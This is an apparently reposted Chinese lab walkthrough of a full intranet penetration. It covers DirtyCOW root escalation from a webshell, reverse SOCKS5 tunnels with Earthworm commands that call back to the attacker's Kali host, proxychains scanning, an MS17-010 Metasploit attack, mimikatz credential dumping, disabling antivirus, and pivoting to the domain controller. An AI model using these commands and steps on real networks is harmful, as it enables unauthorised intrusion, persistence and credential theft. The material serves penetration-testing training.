当前位置:网站首页>通过SOCKS代理渗透整个内网
通过SOCKS代理渗透整个内网
2022-07-05 17:43:00 【全栈程序员站长】
大家好,又见面了,我是你们的朋友全栈君。
通过SOCKS代理渗透整个内网
1.背景
经过前期的渗透工作,我们现在已经成功找到了web站点的漏洞,并且获得了一个普通的webshell,现在准备用菜刀去连接它。
注意:本次环境在本地搭建,假设现在一无所知,这样更加真实。
2.对web服务器提权
2.1获取漏洞信息
获取到webshell后使用菜刀连接,查看权限是apache,系统是redhat6.5。
上传linux.sh到/tmp目录下,获取漏洞信息。
2.2使用脏牛提权
1)漏洞基本信息
选择CVE-2016-5195进行提权,该漏洞被称为“脏牛漏洞(DirtyCOW)”,危害是通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。
漏洞是由于Linux 内核的内存子系统在处理 Copy-on-Write 时出现竞争条件(漏洞),导致私有的只读内存映射被破坏、获取读写权限后进一步提权。
2)漏洞利用
在同版本的redhat系统上使用gcc编译此poc。
使用菜刀上传编译后的文件dirty到此web服务器上,给予可执行权限,password为密码,可以随意设置,我们将使用它来登录。
现在查看/etc/passwd文件,发现第一行文件已经必修改,root用户必修改成了firefart,它现在拥有最高权限,而密码我们已经知晓,就是刚才设置的password。从很低的apache权限到root权限,提权结束。
3)使用xshell远程连接
因为菜刀上不太方便, 现在使用xshell远程连接,成功连接。(账号:firefart,密码:password)
可以看到有两个IP,我们猜测拓扑图应该是如下,win10和kali受我们控制,它们处于外网。我们可以访问web服务器的外网接口192.168.1.120,另外一个IP是192.168.223.166,它应该是连接内网,但是我们无法访问。
3.第一次使用SOCKS代理渗透内网
3.1SOCKS代理
1)SOCKS
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议,其标准端口为1080。
2)Earthworm
EW是一套便携式的网络穿透工具,具有SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,而且适用于不同的操作系统。
3)ProxyChains
ProxyChains是Linux下的代理工具,kali已经安装,它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP、SOCKS4和SOCKS5类型的代理服务器,并且可配置多个代理。
3.2反弹socks5服务器
1)在kali上
在kali上运行:
./ew_linux_x64 -s rcsocks -l 1080 -e 1234
该命令的意思是在kali上添加一个转接隧道,把本地1080端口收到的代理请求转交给1234端口。
2)在web服务器上
我们刚才在win10已经使用xshell远程连接web服务器,运行:
./ew_linux_x64 -s rssocks -d 192.168.1.109 -e 1234
该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。
3)配置proxychains.conf
现在就可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务了。
/etc/proxychains.conf修改内容如下,去掉dynamic_chain的注释,并且在最后的位置添加代理。
4)测试代理服务器是否正常
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
proxyresolv 192.168.223.166
发现代理正常,现在我们已经可以访问192.168.223.166了。
4.渗透主机A
4.1proxychains启动nmap
用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网,我们发现只能访问下面这台机器,对它进行扫描:
现在我们猜测拓扑图应该是如下,win10和kali受我们控制,它们处于外网,我们可以访问web服务器的外网接口192.168.1.120,另外一个内网IP是192.168.223.166,它只能访问内网的主机A 192.168.223.174。
4.2proxychains启动msf
1)启动msfconsole
2)攻击
选择漏洞利用模块ms17-010,MS17-010漏洞利用模块就是利用windows系统的windows smb远程执行代码漏洞,向Microsoft服务消息块服务器发送经特殊设计的消息后,允许远程代码执行。选择好漏洞利用模块和攻击载荷模块后,配置好参数,开始攻击。
3)获取密码信息
使用mimikatz抓取密码,命令如下:
load mimikatz
kerberos
可以看到域是lingwen,有两个域用户lingwen0001和admin的密码已经破解出来了,都是“lingwen1.”。
4)信息收集
(1)查看系统信息
(2)查看进程
(3)查看系统用户
(4)查看应用软件
(5)查看路由信息和最后登录时间
5)上传ew工具
查看进程号和权限,直接是system,关闭杀毒软件,开启远程桌面协议。
上传ew工具到主机A,为了后面使用这台机器A作为跳板访问其他内网主机。
一般情况下我们输入shell就可以进入目标机的shell下,可是这里不行,之前获得了2个域用户密码,我们尝试远程连接主机A。
4.3远程登录主机A
1)远程登录主机A
使用代理启动rdesktop在kali上远程连接主机A,即192.168.223.174,使用之前获得的admin域账号登录。
2)收集域信息
(1)查看域用户和域的数量
(2)查看域里面的组
(3)查看域内所有主机名
(4)查看域管理员
(5)查看域控制器
(6)查看企业管理组
我们发现之前在主机A获得的域用户admin竟然是域管理员账号。
3)查看dns信息
我们终于发现域控的IP是192.168.223.134。
5. 第二次使用SOCKS代理渗透内网
5.1内网拓扑图
5.2再次代理
1)分析
(1)第一次socks代理
通过第一次socks代理:在kali上添加一个转接隧道,把1080端口收到的代理请求转交给1234端口;在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。
之后我们在kali通过web服务器做跳板来访问主机A。
(2)现在的问题
虽然我们知道了域控的IP,域管理员的账号和密码,但是现在我们在kali上连接不到域控。如下所示,远程登录失败。
我们可不可以再次代理,使用主机A做跳板,把经过它的流量反弹到web服务器上,用kali连接web服务器。
2)在web服务器上
使用xshell建立新的会话连接web服务器192.168.1.120,在web服务器上运行:
./ew_linux_x64 -s rcsocks -l 6666 -e 5678
该命令的意思是在web服务器上添加一个转接隧道,把本地6666端口收到的代理请求转交给5678端口。
3)在主机A
在kali远程连接主机A,在主机A上运行:
ew_win32.exe -s rssocks -d 192.168.223.166 -e 5678
该命令的意思是在主机A上启动SOCKS5服务,并反弹到IP地址为192.168.223.166(web服务器)的5678端口上。
4)配置proxychains.conf
现在就可以通过访问192.168.1.120:6666端口使用在主机A上架设的SOCKS5代理服务了。
5)远程连接域控
发现现在已经可以访问域控了,使用域管理员账号成功登录。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/149835.html原文链接:https://javaforall.cn
边栏推荐
- 网络威胁分析师应该具备的十种能力
- Server configuration jupyter environment
- Delete some elements in the array
- MySQL之知识点(六)
- Cmake tutorial step1 (basic starting point)
- QT控制台打印输出
- Webapp development - Google official tutorial
- Tkinter window preload
- [TestLink] testlink1.9.18 solutions to common problems
- Disabling and enabling inspections pycharm
猜你喜欢
职场进阶指南:大厂人必看书籍推荐
ISPRS2022/云检测:Cloud detection with boundary nets基于边界网的云检测
GFS分布式文件系统
Cmake tutorial Step4 (installation and testing)
Beijing internal promotion | the machine learning group of Microsoft Research Asia recruits full-time researchers in nlp/ speech synthesis and other directions
Thesis reading_ Chinese NLP_ LTP
Short the command line via jar manifest or via a classpath file and rerun
「运维有小邓」用于云应用程序的单点登录解决方案
Neural network self cognition model
Binder开辟线程数过多导致主线程ANR异常
随机推荐
統計php程序運行時間及設置PHP最長運行時間
Cartoon: interesting pirate problem (full version)
Ten top automation and orchestration tools
证券网上开户安全吗?证券融资利率一般是多少?
一文读懂简单查询代价估算
7 pratiques devops pour améliorer la performance des applications
使用QT设计师界面类创建2个界面,通过按键从界面1切换到界面2
EasyCVR接入设备开启音频后,视频无法正常播放是什么原因?
神经网络自我认知模型
为什么阳历中平年二月是28天
Disabling and enabling inspections pycharm
Beijing internal promotion | the machine learning group of Microsoft Research Asia recruits full-time researchers in nlp/ speech synthesis and other directions
Delete some elements in the array
Accuracy of BigDecimal Division
Elk log analysis system
读libco保存恢复现场汇编代码
To solve the problem of "double click PDF file, pop up", please install Evernote program
如何修改mysql字段为自增长字段
Server configuration jupyter environment
[JMeter] advanced writing method of JMeter script: all variables, parameters (parameters can be configured by Jenkins), functions, etc. in the interface automation script realize the complete business